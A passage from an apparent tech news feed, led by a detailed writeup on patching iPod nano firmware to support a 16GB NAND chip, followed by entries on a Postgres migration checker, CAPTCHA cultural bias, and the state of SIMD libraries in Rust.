mode, and worked on disk mode. Once I got the 16GB bit working there, I moved onto the rest of the stack. I think it&#39;s important to know how an iPod goes from blank to an iPod, so here is the whole process:&#xA;&#xA;**Stage 0 - the BootROM** \- Burned into the S5L8702. This is the same across all devices that use this chip (n3g and Classic). Apple cannot patch exploits found in this layer, so finding a way in on this layer for any device means you own it in a way they can&#39;t fix. On a normal boot, it reads an image header out of the NOR flash, checks its signature against a key fused into the AES engine, decrypts it, and jumps to it. This is also where DFU mode exists. It decides to enter DFU if it can&#39;t load software or if a GPIO is in a certain state (driven by the clickwheel, which makes the determination based on how long Menu+Center was held).&#xA;&#xA;**Stage 1 - WTF** \- I don&#39;t know if anyone knows what WTF really stands for. I&#39;ve seen &#34;Where&#39;s the firmware?&#34; and &#34;What&#39;s the firmware?&#34; You send a WTF payload to DFU mode and it checks and executes it. It runs entirely out of RAM, and its job is to receive NOR contents and write them.&#xA;&#xA;**Stage 2 - uploading Recovery** \- You send WTF the recovery image which is the NOR contents WTF is waiting for: a temporary EFI, disk mode, etc. I say temporary because the next step rewrites it all with permanent and identical versions. When the entire payload is sent, WTF writes it to NOR and restarts the iPod. The expected result is that the temporary EFI decides to enter Disk Mode for full recovery.&#xA;&#xA;**Stage 3 - uploading Firmware** \- Disk Mode enumerates as a USB SCSI device and waits. It responds to normal SCSI commands so you can work with files, but there are some special commands that send firmware that serve both the recovery and update path. Disk mode lays out a partition table and writes the image into a container starting at sector 63.&#xA;&#xA;Inside that container are the pieces the rest of the boot needs:&#xA;&#xA;entrywhat it is`rsrc`every UI resource and font, ~78 MB of it`osos`RetailOS - the actual iPod operating system`aupd`the updater, which carries the permanent NOR contents (EFI, Disk Mode, etc.)`hash`integrity data&#xA;&#xA;**Stage 4 - AUPD** \- When firmware is done uploading, disk mode restarts the iPod. The EFI (still temporary at this point) sees `aupd` is present and decides to boot it. The updater&#39;s job is to reflash NOR with the permanent EFI, and then mark itself used so it never runs again.&#xA;&#xA;**Stage 5 - RetailOS** \- Now the iPod is able to boot from start to finish into its fresh install of RetailOS.&#xA;&#xA;This has implications for how we patch things:&#xA;&#xA;- **Every binary that works with NAND has its own driver.** The good news is that they&#39;re all the same driver (sort of). The bad news is that that&#39;s a lot of patching. To be fair, I&#39;m not sure what the best way around this would be. I assume a different architecture could have been &#34;use the EFI environment for everything&#34; but that probably isn&#39;t worth it.&#xA;- **There are two identical copies of the EFI and Disk Mode.** Not bad by itself, it&#39;s just more work to find and patch those binaries and keep it straight. So &#34;patch disk mode&#34; doesn&#39;t mean patching one program, it means finding every place a copy of that program is living and patching each of them identically - the copy in the recovery image I send over DFU, and the copy riding inside the updater that gets written to the chip. Luckily, there&#39;s only two. So that&#39;s good.&#xA;&#xA;There is some good news, though. AUPD&#39;s NAND driver is exactly the same as the one that ships in disk mode, so we don&#39;t need to rewrite anything for it to work. We just need to relocate them: the reset routine, both erase paths, the ECC check, the readback-verify check, bad-block check, the garbage collector&#39;s tombstone suppression. Same instructions, same registers, same everything… just moved!&#xA;&#xA;So AUPD doesn&#39;t get its own patches. It gets _the same patches_, assembled with a different set of addresses passed to the assembler. It&#39;s beautiful to see. And it&#39;s also the only time I got anything for free.&#xA;&#xA;The EFI and RetailOS were not so kind. The EFI&#39;s driver is in THUMB so it&#39;s the same patches, just in a different instruction set. RetailOS is very similar, but it has a UI that could get in the way of things. I was hoping RetailOS and Disk Mode were going to be the same like AUPD and, while the patches did come over the same way they came to AUPD, it needed a bit more. We&#39;ll get to that.&#xA;&#xA;## Patching the EFI&#xA;&#xA;The EFI runs before anything else, every single boot. Its NAND driver is the one that formats a virgin chip, builds the bad-block table, and publishes a protocol saying &#34;the flash is ready&#34; that the boot code waits on before it will hand off to anything at all. If that driver doesn&#39;t finish, nothing boots.&#xA;&#xA;It&#39;s also structurally different. It probably came from the same C code as the other NAND drivers, but it&#39;s compiled to THUMB, so the patches wouldn&#39;t Just Work™. I rewrote the patches for THUMB and they definitely should have worked. They maybe would have if not for a very stupid mistake I made.&#xA;&#xA;### The Agony of Debugging the EFI&#xA;&#xA;Working with the EFI is challenging because it&#39;s difficult to statically analyze and very difficult to get any insight into what&#39;s going on inside. The main issue was that there were no debug logs anywhere. The EFI doesn&#39;t even have a UART driver but, if it did, the logging present in Disk Mode and RetailOS is simply missing from the EFI copy of the NAND driver.&#xA;&#xA;So each experiment consisted of a tedious loop: build an image, upload it, boot it, watch the screen, wait, power cycle, hope. And what it returned was one bit: did the logo freeze, or didn&#39;t it?&#xA;&#xA;I burned a disgusting number of those bits on theories that were wrong. And sometimes, I was misreading the one bit I _did_ get. For a long time I read the frozen logo as &#34;the driver is stuck in a loop.&#34; It wasn&#39;t. On failure the driver returns an error as it should, and then simply never publishes the &#34;flash is ready&#34; protocol. A driver failure and an infinite loop caused by a failed assertion look identical from outside. And I discovered emulation wouldn&#39;t solve all of my problems.&#xA;&#xA;### The Emulator Was Too Perfect&#xA;&#xA;QEMU and my userspace rehost sped up my iterations since I didn&#39;t have to rebuild and reflash anything on real hardware, but it didn&#39;t do anything for my confidence. I could get the firmware and the emulator wrong, and two wrongs don&#39;t make a write (at least, not in the right place). But in this case, I realized something that I probably should have realized earlier: modeling an idealized hardware scenario might have been hurting me more than helping me.&#xA;&#xA;For example: the model&#39;s NAND could not fail. Programs always succeeded. Erases always succeeded. The status register always came back ready with the failure bit clear. Which sounds like a reasonable simplification until you try to trace down an infinite loop you think is being caused by an assertion. These assertions were littered all over the NAND stack, some of them firing if the FTL or VFL are in bad shape, possibly because of a bad block or something. And I couldn&#39;t model those. So, as I was chasing this down, I needed to make these failure paths reachable.&#xA;&#xA;So the model had to model the real world with bad blocks. First, I modeled the superblock erasing thing I mentioned earlier (my original model erased full superblocks, which the real chip never does). I also added the ability to specify program and erase errors at specific blocks so they model NAND wear.&#xA;&#xA;With those in, I could reproduce the hang. Well, _a_ hang. We&#39;ll get to that.&#xA;&#xA;### Bad Blocks Are Odd&#xA;&#xA;Chips ship with bad blocks. The manufacturer tests them at the factory and marks the failures, and the mark lives in the spare area of the first couple of pages of the physical block that&#39;s bad. A driver&#39;s first job on a new chip is to walk the media, find those marks, and build a table of blocks to avoid.&#xA;&#xA;The EFI&#39;s scan addresses pages relative to its 256-page superblock. Depending on which scan variant is selected in the device info table, that means reading superblock pages 0 and 1, or page 255, or both ends. Superblock `i` is physical blocks `2i` and `2i+1`, and every one of those variants reads pages that live in block `2i` or at the very end of `2i+1`. None of them ever reads block `2i+1`&#39;s pages 0 and 1.&#xA;&#xA;So a chip with a bad block in an odd position, whose even partner is fine, reports a clean bill of health for a superblock that is half broken. The FTL trusts the table, programs the bad half, the program fails, the FTL&#39;s context never gets written, and the driver does the correct thing: it returns an error and never publishes the &#34;flash is ready&#34; protocol. The boot code then waits forever on a protocol that will never get published. From the outside that is indistinguishable from a hang.&#xA;&#xA;The fix is to read four pages instead of two - pages 0 and 1 of _both_ physical halves - and mark the superblock bad if either half is marked, which is the correct rule anyway: a superblock you can&#39;t use half of is a superblock you can&#39;t use.&#xA;&#xA;The chip I was using in my iPod had exactly one bad block in an odd position - block 91 - and block 90, its partner, happened to also be bad, so the scan caught it correctly. I found this bug looking for another bug we&#39;ll talk about later, but it did not actually manifest on my setup. But I&#39;m glad I found it - otherwise someone with an odd bad block would face a problem.&#xA;&#xA;But that didn&#39;t solve my problem. The EFI still hung.&#xA;&#xA;### Emulation Lets Me Down Again: Part 2 Electric Boogaloo&#xA;&#xA;The current build of patches was working totally fine in QEMU. The EFI happily formatted the chip, disk mode would happily read, format, and present a SCSI device that would happily save and keep files. But on real hardware, this wasn&#39;t happening. The EFI was freezing on the logo.&#xA;&#xA;Emulation had paid dividends up until now. All of my fixes to the EFI layer (and all layers, honestly) thus far were found in the emulator by making it more like the hardware I was working with. Injecting faults, refining models, doing everything I could to make it work exactly like the hardware. It turns out this hang was that class of problem as well, but it wasn&#39;t an issue with my code. It was an issue with QEMU itself.&#xA;&#xA;I trusted QEMU&#39;s modeling of the ARM926EJ-S to be completely accurate. After all, QEMU has been used in production systems for, like, ever. Any bugs in the fundamental parts of the codebase must&#39;ve been found by now, right? The answer is no - that&#39;s not true. I don&#39;t remember how it happened, but during patching, I was `nop` ing out several instructions. I guess I looked up &#34;THUMB `nop`&#34; online and found `0xbf00`. QEMU happily executed this on its ARMv5TEJ core implementation. But it should not have.&#xA;&#xA;`0xbf00` is a THUMB-2 encoding. On a real ARM CPU that only supports THUMB-1, that&#39;s an illegal instruction which causes a hang. QEMU was never going to catch this for the same reason it never would have caught the bad block stuff: the model was wrong. I replaced it with the right `nop` encoding and yeah, it worked.&#xA;&#xA;I was excited I could make a contribution back to QEMU but no, someone had _just_ beaten me to it.&#xA;&#xA;But that&#39;s it! EFI now seems to happily reformat things. Three layers down, one to go. And the last one is the most complicated and most important one: RetailOS.&#xA;&#xA;## Patching RetailOS&#xA;&#xA;RetailOS - which I sometimes refer to as `osos` since that&#39;s the name it loads by - is the iPod interface we all know and love. I thought this would be easy too since I knew this also had the same NAND driver as Disk Mode and AUPD. And that part was, in fact, easy-ish. I ported everything over (matching the different ABI as I went) and it sorta just worked… kind of. Based on emulation, I could see it doing the right thing with NAND but `osos` still wouldn&#39;t completely load. In fact, it died in a data abort. I found several bugs in my bridge, but none of them seemed to solve the problem. The main one was that my code wasn&#39;t null-safe and would happily try to chug on if the allocator gave back a zero when we requested scratch memory. So I was DMAing over the exception vectors.&#xA;&#xA;I&#39;ll spare you the graveyard of theories I had about why this was broken for the sake of your scroll wheel and also because I didn&#39;t write all of them down. They were all small issues that I ironed out but weren&#39;t actually the cause of my problem. The cause of my problem was me. I just wasn&#39;t thinking.&#xA;&#xA;RetailOS shares one allocator between the NAND stack and the user interface. When I&#39;d ported over the FTL&#39;s memory pool expansion, I simply copied disk mode&#39;s numbers, which were hardware-validated and known good. But disk mode doesn&#39;t have a large multi-part UI, does it? Because the one pool had to serve both customers, it was running out much, much faster.&#xA;&#xA;The problem shows up when it begins to load fonts from the `rsrc` partition. It allocates glyph bitmaps happily for a while and then, around the seventieth one, the allocator has nothing left and returns null. The bitmap code also isn&#39;t null-safe. It writes through that null pointer - into the exception vector table, again - until the entries for the most common processor exceptions are corrupted. Every system call after that point lands on garbage, loops forever in an undefined-instruction state, and the watchdog gives up and reboots the device.&#xA;&#xA;The fix, obviously, is to size the pool to what the FTL actually needs rather than to what I blindly copied from disk mode. And the only reason I could do that with any confidence is that the allocator keeps a running total of bytes handed out, at a fixed location, which can simply be read.&#xA;&#xA;As far as I can tell, it never frees anything. Normally that&#39;s a bad thing, but in this case that means that the number here is the high water mark. The FTL wanted 1.15MiB, the UI wanted the rest, and I had handed the FTL 3.5MiB because those were disk mode&#39;s numbers. The fix is to size the arena to the measurement instead: two megabytes of pool, 1.5MiB of which belongs to the FTL. And the measurement holds - I read the high water mark again after the change and it came back the same. 1.15MiB before and after. The FTL&#39;s appetite is set by the geometry, not the workload, which means those extra 2.35MiB had been purely wasted.&#xA;&#xA;While I was in there, I put guards on the bitmap allocator. With the pool sized correctly they should never fire, but the sequence I&#39;d just traced - allocator returns null, bitmap code writes through it, vector table dies - shouldn&#39;t be possible even once. Failed bitmap allocations now zero out their own size, so the worst case writes nothing instead of 8192 bytes through a null pointer, and the store that sets and clears bits checks its pointer first.&#xA;&#xA;With the pool sized to what the FTL actually needed instead of what disk mode had blessed, the seventieth glyph got its memory. So did the eightieth, and the hundredth, and every one after that. The next boot, the text rendered. And that was all it took.&#xA;&#xA;### It Works… Almost!&#xA;&#xA;Settings → About says **15GB** (the reserve doing its job, since `(1,982,464 − 32,768) × 2 sectors × 4KiB ≈ 15.97GB` which About floors to 15). The filesystem gets created on the chip and survives a reboot. The device boots, mounts its resources, draws its menu, and plays music, on a chip twice the size of the one Apple designed it around and with an entirely different page geometry. This is the sight I wanted to see after 6 years. Finally.&#xA;&#xA;But there&#39;s one more problem I had to face: it was a bit unstable.&#xA;&#xA;## Power and Partition Problems&#xA;&#xA;Once RetailOS was stable enough to actually use, a new problem showed up: the iPod worked, and then it stopped working. After a bit of use (syncing, poking around, etc.) I&#39;d be greeted by `bdsw` \- the &#34;restore with iTunes&#34; screen - and it turns out that it was two different problems. Easy to fix problems, mercifully.&#xA;&#xA;Syncing music through iTunes didn&#39;t kill the iPod during the transfer which was good to see, but it died when I ejected it, soon after the &#34;OK to Disconnect&#34; screen was done indexing (or, sometimes, during it). When it came back, it gave me `bdsw` which said to me that something was probably corrupting the filesystem partition so bad that it was unable to load `osos` subsequently. Syncing something as little as five songs all the way to syncing thirteen gigabytes caused the failure in exactly the same way. Fixing it was as simple as recovering it again (even just the firmware step, skipping WTF and replacing the NOR contents), but that meant losing everything in the data partition because it would rewrite the table.&#xA;&#xA;The actual root cause was the battery. It&#39;s degraded, and USB alone can&#39;t carry the current the NAND stack draws during a program/erase burst. With a bench supply on the battery leads, it certainly got more stable. The iPod survived more reboots, but still wasn&#39;t exceedingly stable. After some use, `bdsw` would come back. And also games wouldn&#39;t launch. That&#39;s… odd. If the FTL is intact then nothing above it should be complaining about it, right?&#xA;&#xA;The device sat in `bdsw`, so I did the boring thing and dumped the disk from disk mode. The partition table had one entry: a FAT32 partition. There was no firmware partition entry at all. The firmware volume - the MSE container with `rsrc`, `osos`, and `aupd` in it - lives at LBA 63 and runs 128MiB, to LBA 32830. The FAT32 data partition started at LBA 256 and ran to the end of the chip. The overlap was 99.4% of the firmware volume.&#xA;&#xA;Once again, the problem was me all along. I was using `gparted` to format the disk. Make an `msdos` partition table, make a FAT32 partition, let the iPod create its system folders, sync with iTunes, life goes on. But that turns out to be the wrong thing to do. Restore writes the firmware volume, then a repartition step zeroes the front of the disk and drops the firmware entry, then iTunes fills the FAT32 filesystem from LBA 256 upward - directly over the boot image. The `rsrc` partition goes first, so games break before boot does. Then the directory goes, then `osos`, and the EFI&#39;s boot chain fails, and you get `bdsw`. Filling the iPod with music _is_ the mechanism that destroys it.&#xA;&#xA;My tool should be the one authoring the partition table, not `gparted` after the fact. In fact, my tool doesn&#39;t write the table, it tells the iPod to write the table. There&#39;s a repartition command that exists on the device and is correct, but nothing in my restore path ever called it. Partitioning was a manual step in my workflow, and the hand-run `mkfs.fat` left its signature sitting at LBA 256 as a confession.&#xA;&#xA;Once it repartitions, it reads the table back and re-reads the MSE directory from the device, requiring `rsrc` and `osos` to be present before it calls the restore complete. The data partition now starts at LBA 32831 - one block past the end of the firmware volume. You still need to use something like `mkfs.fat` but under no circumstances should you make your own partition table.&#xA;&#xA;## Complete!&#xA;&#xA;Once the power and partition problems were solved, I was able to use the &#34;fill free space with music&#34; option in iTunes and load the iPod completely with music and have it survive. I was also able to put a bunch of movies on it - I transcoded and uploaded all of the Harry Potter movies _and_ had a bunch of music on there. Pretty neat!&#xA;&#xA;Finally, this iPod completely works and has 16GB worth of data on there. A long on-again-off-again project that has lasted longer than my real-life relationship finally comes to a close. I&#39;ve messed with iPod memory, iPod Bluetooth, iPad screens… I think I might leave behind modding Apple products for now and focus on other things. I have some ideas, but I don&#39;t want to become a 100% tech-project channel. Either way, I&#39;m very proud of this.&#xA;&#xA;All of the code for this project is available on GitHub: lemonjesus/iPod-n3g-16gb.&#xA;&#xA;## Disclosure of AI Use&#xA;&#xA;I believe if AI is used on a project in some meaningful way, it should be disclosed. Given this project has been running for longer than vibe-coding has been around, these disclosures really only apply to the last few months of progress where it helped me get over a few humps that otherwise would have taken me months and more burnouts. I have overarching principles on my personal use of AI that you can read about here, but for this project specifically:&#xA;&#xA;- No part of this was shipped without me reading and understanding it. Every line of code and documentation is either written by me or is something I approved to be written. I&#39;ve reviewed every line either I or an LLM has written.&#xA;- Various LLMs were used to help me understand patterns in firmware that I had never seen before and help me make sense of it. Increasingly important as I got deeper into the software stack (the deeper you get, the more tangled the binaries become, and it was nice to have that help).&#xA;- All but one patch category was discovered/piloted or written by me. The patch category an LLM (in this case, Claude) discovered that I can&#39;t take credit for: the ECC Scrubbing Patches.&#xA;- This writeup and the accompanying YouTube video&#39;s script were 100% written by me.&#xA;&#xA;## Acknowledgments&#xA;&#xA;When this project started, tooling was sparse, the community scattered, and overall everything was very &#34;ten years ago.&#34; Now, there&#39;s amazing tooling and a thriving community working on iPod Nano stuff. The ones that were specifically useful to this project:&#xA;&#xA;- q3k&#39;s wInd3x - not only is this exploit/tool/etc. what my patcher is based on, but it&#39;s also what replaced tracking EFI patches with spreadsheets (because the madman wrote an EFI modification engine into it).&#xA;- slackware - was one of my first points of contact and helped me get started with the software research side of things. He&#39;s also incredibly active in the community and manages freemyipod.org and the associated GitHub projects (where wInd3x and QEMU and Linux for the iPod reside).&#xA;- benedikt93 and Cástor Muñoz - laid a lot of groundwork for reverse engineering the NAND stuff. Also, Castor wrote the Rockbox bootloader for the n3g which was the only way I had to work with the device at the beginning. Very grateful their work wasn&#39;t lost to the sands of time.&#xA;- Countless others from the Discord community who have contributed to the zeitgeist of iPod Nano modding. We&#39;ve cultivated a lovely community, and you should pop in and learn more and contribute if you made it all the way to the end of this writeup!</content>
    <link href="https://tuckerosman.com/projects/16gb-ipod-nano" rel="alternate"></link>
    <author>
      <name>Ivoah</name>
    </author>
  </entry>
  <entry>
    <title>Ask HN: Who&#39;s still keeping a DOS machine up because the business depends on it?</title>
    <updated>2026-09-26T04:37:55+09:00</updated>
    <id>hn_49848955</id>
    <link href="" rel="alternate"></link>
    <author>
      <name>mlaux</name>
    </author>
  </entry>
  <entry>
    <title>Is your Postgres migration safe or not safe?</title>
    <updated>2026-09-26T16:33:12+09:00</updated>
    <id>hn_49854161</id>
    <content type="html">◆migration.sql&#xA;&#xA;CHECKING&#xA;&#xA;⌥⇧F⋯&#xA;&#xA;bash+⌃\`&#xA;&#xA;$ npx safe-not-safe check migration.sql&#xA;&#xA;parse libpg\_query 17 (wasm) · initializing · 0 statements · 301 chars&#xA;&#xA;note Downloading and compiling the PostgreSQL WASM parser.&#xA;&#xA;No statements found. Paste a migration or load a sample.&#xA;&#xA;CHECKING — Loading PostgreSQL parser.&#xA;&#xA;Downloading and compiling libpg\_query WASM in a browser worker.&#xA;&#xA;$</content>
    <link href="https://safenotsafe.dev/" rel="alternate"></link>
    <author>
      <name>vira28</name>
    </author>
  </entry>
  <entry>
    <title>CAPTCHAs don&#39;t prove you&#39;re human – they prove you&#39;re American</title>
    <updated>2026-09-26T17:27:19+09:00</updated>
    <id>hn_49854399</id>
    <content type="html">When I was a small child, I took an IQ test. One of the first questions I stumbled on was &#34;A piece of candy costs 25¢. Jonny has a dime. How many nickels does he need to buy the candy?&#34;&#xA;&#xA;My 7-year old brain popped. WTAF is a nickel? Or a dime for that matter? We don&#39;t have those coins in my country! We don&#39;t spend in ¢ either. There was no way to get around the cultural knowledge required by the test. There were several questions like that - all assuming the test maker and taker were from a cultural homogeneity.&#xA;&#xA;A few days ago, I had to complete a CAPTCHA. One of those irritating little web tests which is supposed to prove that you are a human. Here&#39;s what I got:&#xA;&#xA;Guess what, Google? Taxis in my country are generally black. I&#39;ve watched enough movies to know that all of the ones in America are yellow. But in every other country I&#39;ve visited, taxis have been a mish-mash of different hues.&#xA;&#xA;This annoys me. Will Google&#39;s self driving cars simply not recognise London&#39;s Black Cabs? Will any yellow car in the UK be classified as a taxi by the infallible algorithm? Will Google refuse to believe I&#39;m human simply because I don&#39;t know what a Twinkie is?&#xA;&#xA;Before sticking a comment below, riddle me this - if something costs a half-a-crown, and you pay with a florin, how many tanners will you get in your change?</content>
    <link href="https://shkspr.mobi/blog/2017/11/captchas-dont-prove-youre-human-they-prove-youre-american/" rel="alternate"></link>
    <author>
      <name>theanonymousone</name>
    </author>
  </entry>
  <entry>
    <title>The state of SIMD in Rust in 2026</title>
    <updated>2026-09-26T17:28:50+09:00</updated>
    <id>lobsters_iotaty</id>
    <content type="html">A lot of progress was made since last year, and I made some of it!&#xA;&#xA;After last year&#39;s survey I started contributing to the SIMD library that seemed the most promising. One thing led to another, and now I&#39;m a maintainer of Fearless SIMD.&#xA;&#xA;To avoid a conflict of interest, I invited authors of other libraries ( `std::simd`, `wide`, `pulp`, `macerator`) to review and provide feedback on a draft of this article. However, I retained editorial control, and all mistakes are my own.&#xA;&#xA;This year&#39;s survey is more in-depth than my previous one. So buckle up, and let&#39;s take it... _from the top!_&#xA;&#xA;## What’s SIMD? Why SIMD?&#xA;&#xA;Hardware that does arithmetic is cheap, so any CPU made this century has plenty of it. But you still only have one instruction decoding block and it is hard to get it to go fast, so the arithmetic hardware is vastly underutilized.&#xA;&#xA;To get around the instruction decoding bottleneck, you can feed the CPU a batch of numbers all at once for a single arithmetic operation like addition. Hence the name: “single instruction, multiple data,” or SIMD.&#xA;&#xA;Instead of adding two numbers together, you can add two batches or “vectors” of numbers and it takes about the same amount of time as doing just one addition.&#xA;&#xA;On recent x86 chips these batches can be up to 512 bits in size, so in theory you can get an 8x speedup for math on `f64` or a 64x speedup on `u8`. In practice it can run both slower and faster.&#xA;&#xA;## Instruction sets&#xA;&#xA;Historically, SIMD instructions were added after the CPU architecture was already designed, so SIMD is an extension with its own marketing name on each architecture.&#xA;&#xA;ARM calls theirs “NEON”, and all 64-bit ARM CPUs have it.&#xA;&#xA;WebAssembly doesn’t have a marketing department, so they just call theirs “WebAssembly 128-bit packed SIMD extension”.&#xA;&#xA;64-bit x86 shipped with one called “SSE2” which has basic instructions for 128-bit vectors, but _later_ they added a whole menagerie of extensions on top of that, with SSE 4.2 adding more operations, AVX and AVX2 adding 256-bit vectors and AVX-512 adding 512-bit vectors and even more operations.&#xA;&#xA;The word “later” in the above paragraph creates a problem.&#xA;&#xA;### Does this CPU have that instruction?&#xA;&#xA;If you’re running a program on an x86\_64 CPU, it’s not a given that the CPU has any particular SIMD extension. So by default the compiler isn’t allowed to use instructions beyond SSE2 because that won’t work on all x86\_64 CPUs.&#xA;&#xA;There are two ways around this problem.&#xA;&#xA;If you work for a company that only ever runs their binaries on their own servers or on a public cloud, you can just assert that they’re all recent enough to at least have AVX2 that was introduced over 10 years ago, and have the program crash or misbehave if it ever runs on anything without AVX2:&#xA;&#xA; `RUSTFLAGS=&#39;-C target-cpu=x86-64-v3&#39; cargo build --release`&#xA;&#xA;However, if you are distributing the binaries for other people to run, that’s not really an option.&#xA;&#xA;Instead you can do something called **function multiversioning:** compile the same function multiple times for different SIMD extensions, and when the program actually runs, check what features the CPU supports and select the appropriate version based on that.&#xA;&#xA;Fortunately, this problem only exists on x86.&#xA;&#xA;ARM made NEON mandatory on its 64-bit CPUs and hasn&#39;t really added useful SIMD extensions after that (more on that later).&#xA;&#xA;WebAssembly makes you compile two different binaries, one with SIMD and one without, and use JavaScript to check if the browser supports SIMD.&#xA;&#xA;## How do I SIMD?&#xA;&#xA;There are three ways to leverage SIMD:&#xA;&#xA;1. Automatic vectorization: `&amp;[i32].sum()`&#xA;2. Portable SIMD abstractions: `i32x4 + i32x4`&#xA;3. Platform-specific intrinsics - hang on, we&#39;re gonna need a bigger code block:&#xA;&#xA; `#[cfg(all(any(target_arch = &#34;x86&#34;, target_arch = &#34;x86_64&#34;),target_feature = &#34;sse2&#34;))]&#xA;_mm_add_epi32(__m128i , __m128i)&#xA;#[cfg(all(target_arch = &#34;aarch64&#34;, target_feature = &#34;neon&#34;))]&#xA;vaddq_u32(int32x4_t, int32x4_t)`&#xA;&#xA;Let&#39;s look at what each one entails and what the state of each programming model is.&#xA;&#xA;## Automatic vectorization&#xA;&#xA;Just write plain Rust and let the compiler heuristics do the work!&#xA;&#xA;You can get it to work quite well, if you are careful to write code in a way that the compiler can reliably(ish) vectorize. This usually involves iterating over `&amp;[i32].as_chunks()` instead of `&amp;[i32]` and benchmarking or staring at the assembly to verify it worked. See **Can You Trust a Compiler to Optimize Your Code?** for details.&#xA;&#xA;This is the easiest option to use, requires no dependencies, and automatically supports all instruction sets the compiler supports, no matter how obscure.&#xA;&#xA;The downside is that this method is not very reliable. The larger and more complex your function is, the greater is the chance that the compiler will not be able to vectorize it. Performance can also swing wildly depending on the compiler version or due to changes to the surrounding code.&#xA;&#xA;Floating-point types also need special care.&#xA;&#xA;&gt; **Floats are weird.** Even something as trivial as summing an array of floats with reasonable precision gets surprisingly involved, see **Taming Floating-Point Sums**.&#xA;&#xA;Previously automatic vectorization didn&#39;t work with floating-point types because it would change the precision of the result (often for the better, but the compiler is not permitted to change any observable results).&#xA;&#xA;This changed in Rust 1.98 which stabilized algebraic ops such as `algebraic_add()` that let the compiler change the observable result, like a less dangerous `-ffast-math`. You still have to rewrite your code to use them for it to be eligible for vectorization in most cases.&#xA;&#xA;And you still need to get multiversioning somehow. So while we&#39;re at it...&#xA;&#xA;### The &#39;multiversion&#39; crate&#xA;&#xA;The all-in-one SIMD crates discussed below also provide multiversioning, but let&#39;s take a look at `multiversion` real quick since it&#39;s most useful for automatic vectorization.&#xA;&#xA;It&#39;s very easy to use: you add the `#[multiversion(targets = &#34;simd&#34;)]` annotation to your function and that&#39;s it.&#xA;&#xA;But that ease hides an undocumented pitfall: calling a function annotated with `#[multiversion]` has a little bit of overhead. It is very small - under a dozen instructions, but it shows up as significant overhead if the function you put it on is itself tiny.&#xA;&#xA;As a rule of thumb, if your function has a loop in it, add `#[multiversion]`; if it processes a handful of values add `#[inline(always)]`, so long as there is `#[multiversion]` somewhere up the call chain.&#xA;&#xA;The other crates listed below don&#39;t have this pitfall and don&#39;t make you think about the sizes of functions, at the cost of more boilerplate.&#xA;&#xA;`multiversion` is the only crate that allows you to list the exact CPU extensions you require, as opposed to opting in to a predefined SIMD level. So if your code happens to benefit from some very recent instruction, you can opt in to it. But in my experience this hardly ever comes up for autovectorized code.&#xA;&#xA;For AVX-512 `multiversion` checks if it&#39;s present, not whether it&#39;s actually fast, which may hurt performance in practice (more on that below). You can work around that at the cost of boilerplate - you have to put this on every function:&#xA;&#xA; `#[multiversion::multiversion(targets(&#xA;    &#34;x86_64+cmpxchg16b+popcnt+sse3+sse4.1+sse4.2+ssse3&#34;, // x86_64-v2&#xA;    &#34;x86_64+avx+avx2+bmi1+bmi2+cmpxchg16b+f16c+fma+lzcnt+movbe+popcnt+sse3+sse4.1+sse4.2+ssse3+xsave&#34;, // x86_64-v3&#xA;    &#34;x86_64+fxsr,adx,avx512bitalg,avx512bw,avx512cd,avx512dq,avx512f,avx512ifma,avx512vbmi,avx512vbmi2,avx512vl,avx512vnni,avx512vpopcntdq,bmi1,bmi2,cmpxchg16b,fma,gfni,lzcnt,movbe,pclmulqdq,popcnt,vpclmulqdq,xsave,xsavec,xsaveopt,xsaves&#34;, // Ice Lake and later&#xA;)]]`&#xA;&#xA;## Portable SIMD abstractions&#xA;&#xA;There are several production-ready ones. The desirable features are:&#xA;&#xA;- **Fixed-width vectors:** write code in terms of `f32x4`, `u8x16`, etc (known size)&#xA;- **Hardware-width vectors:** use the largest vector size the hardware supports, without knowing it in advance&#xA;- **Generic over element type:** write code that works on both `f32x4` and `f64x2`&#xA;- **Generic over vector width:** write code that works on all of `f32x4`, `f32x8`, `f32x16`&#xA;&#xA;The TL;DR table:&#xA;&#xA;std::simd (nightly)fearless simdwidepulpmaceratormultiversioning📦/🛠️✅❌✅✅fixed-width vectors✅✅✅☑️❌hardware-width vectors📦/🛠️✅🛠️✅✅generic over element type✅✅🛠️🛠️✅generic over vector width✅✅🛠️✅✅safe access to intrinsics🛠️✅☑️✅🛠️trigonometry📦/🛠️🛠️☑️🛠️🛠️&#xA;&#xA;- ✅ Yes&#xA;- ☑️ Yes, with caveats&#xA;- 📦 Yes, with a third-party crate&#xA;- 🛠️ Build it yourself&#xA;- ❌ Absolutely not&#xA;&#xA;And the instruction set support:&#xA;&#xA;std::simdfearless simdwidepulpmaceratorSSE2✅✅✅☑️🐌SSE4.x✅✅✅☑️✅AVX2✅✅✅✅✅AVX-512✅✅✅✅✅NEON✅✅✅✅✅WASM✅✅✅✅✅All the rest✅🐌🐌🐌🐌\*&#xA;&#xA;- ✅ Has optimized routines&#xA;- ☑️ Implemented but not used. Requires writing a custom dispatch to opt in.&#xA;- 🐌 Reliant on autovectorization, often slow&#xA;&#xA;\\* macerator also supports LoongArch because the author was, and I quote, &#34;bored&#34;.&#xA;&#xA;### std::simd&#xA;&#xA;std::simd is not a complete solution for SIMD. It&#39;s more of a set of building blocks that absolutely has to be in the standard library, while everything else is left up to the ecosystem crates.&#xA;&#xA;The largest drawback is that it&#39;s nightly-only, and still undergoes infrequent breaking API changes. So one day you update the compiler and your code stops compiling, and you have to go and fix it. But so long as you&#39;re OK with that, and only need fixed-width vectors and maybe multiversioning, it&#39;s pretty great!&#xA;&#xA;`std::simd`&#39;s _raison d&#39;être_ is that it sits directly on top of LLVM and can target any platform LLVM can target, including weird CPUs that only large banks use or that only the Chinese government uses. On the flip side, if LLVM doesn&#39;t have a perfectly matching operation inside it for `std::simd` to make use of, there is no plan B and no SIMD is actually used.&#xA;&#xA;This happens disturbingly often. Its `sin()` could not be more apt: shipping scalar implementations in a SIMD guise is the cardinal sin. And `reduce_sum()` is somehow the worst case for _both_ performance and accuracy. So don&#39;t bother using any non-trivial functions on floats.&#xA;&#xA;The closest thing we have to proper trigonometry is the sleef crate, a partial port of SLEEF to `std::simd` that&#39;s only a little buggy. And that&#39;s the best trigonometry I have in this whole article!&#xA;&#xA;`std::simd` is uniquely flexible when it comes to multiversioning. You can use the multiversion crate or the multiversioning from any other SIMD crate in this section. All the other crates work with their own built-in multiversioning only.&#xA;&#xA;Its `Simd&lt;T, N&gt;` API looks like it would be very elegant and work great if you could just do math on `N`, but you cannot. That feature is very incomplete even on nightly. Without it using `Simd&lt;T, N&gt;` to get hardware-sized vectors is doable, but a lot uglier.&#xA;&#xA;While you can use `std::simd` directly in many cases and have it perform okay, disparately tacking on features through third-party crates only gets you so far. 